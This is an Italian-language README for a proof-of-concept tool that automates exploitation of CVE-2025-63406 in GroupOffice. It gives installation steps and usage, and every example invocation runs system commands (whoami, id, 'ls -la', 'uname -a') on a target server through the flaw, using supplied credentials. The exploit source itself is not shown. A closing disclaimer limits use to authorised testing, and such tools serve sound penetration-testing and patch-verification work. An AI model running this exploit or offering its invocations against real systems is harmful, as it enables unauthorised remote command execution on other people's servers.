
Piccolo PoC per automatizzare lo sfruttamento di CVE-2025-63406.
# Installa le dipendenze
pip install -r requirements.txt
# Oppure usa un ambiente virtuale
python3 -m venv venv
source venv/bin/activate # Su Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 CVE-2025-63406.py -u <URL> -n <USERNAME> -p <PASSWORD> -c <COMMAND>
-u, --url: URL base dell'istanza GroupOffice (es. http://localhost:9090)-n, --username: Nome utente per l'autenticazione-p, --password-c, --command: Comando di sistema da eseguire (es. whoami, id, ls -la)# Esegui il comando whoami
python3 CVE-2025-63406.py -u http://localhost:9090 -n admin -p password -c whoami
# Esegui il comando id
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c id
# Elenca i file nella directory corrente
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c "ls -la"
# Ottieni informazioni di sistema
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c "uname -a"

⚠️ Questo strumento è destinato esclusivamente a test autorizzati. L'accesso non autorizzato a sistemi informatici è illegale.